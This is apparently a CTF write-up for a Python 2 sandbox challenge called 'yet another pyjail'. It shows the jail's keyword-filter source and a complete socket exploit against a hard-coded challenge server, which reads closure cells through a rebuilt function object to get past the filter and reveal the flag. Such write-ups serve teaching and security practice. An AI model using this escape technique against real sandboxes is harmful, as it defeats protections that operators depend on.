Skip to content Skip to navigation

yet another pyjail

Category: 

This task is new implementation of python sandbox.

import re
import sys
import string
from sys import stdout
sys.stderr = stdout


sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()


alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re


def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]


part1_of_flag = '******************'
part2_of_flag = '******************'
egg = 'egg'


def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()
    
    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break
    
    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):
            
            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider
        
        exec_in_context({'div': divider})

    sandbox()


if __name__ == '__main__':
    main()

This time deleted all built-ins except (True, False, type, int) and appended some filters:
    •__
    •import
    •globals
    •locals
    •exec
    •eval
    •join
    •format
    •replace
    •translate
    •try
    •except
    •with
    •content
    •frame
    •back"
Let's write the script that connects to server, and sends simple CAPTCHA:

hSock = create_connection((host, port))
hSock.send("leetleetleetleet\n")

After this we can send some code, that will be executed in the sandbox, as context we can see function "divider" as "div":

As we can see all attributes with "__" are restricted: so magic like "div.__dict__" will not pass! The only methods of function we can use are:
    •func_code,
    •func_defaults,
    •func_doc,
    •func_globals,
    •func_closure.
"func_globals" looks like very helpful, but string "globals" is restricted, so we need another way

After reading some manuals, comes understanding, that "func_closure" could be very useful. It returns "cell" objects, that have information about all objects declared inside the function.
"Cell" object has method cell_contents, but string "contents" is restricted again!

After a lot of research was found magic method of getting content of cell without using restricted method

def get_cell_value(cell):
    return type(lambda: 0)(
        (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
    )()

So the 8th and 9th cells are functions, that make flag. We just need to call them

Full exploit file;

from socket import create_connection

host = "195.133.87.177"
port = 1337
hSock = create_connection((host, port))
hSock.send("leetleetleetleet\n")
print hSock.recv(1024)
print hSock.recv(1024)
t = """
global EXPECTED, a, b
a = b = 5
EXPECTED = 1
print 0, EXPECTED
def get_cell_value(cell):
    return type(lambda: 0)(
        (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
    )()

get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()

---
"""
hSock.send(t)
print hSock.recv(1024)
print hSock.recv(1024)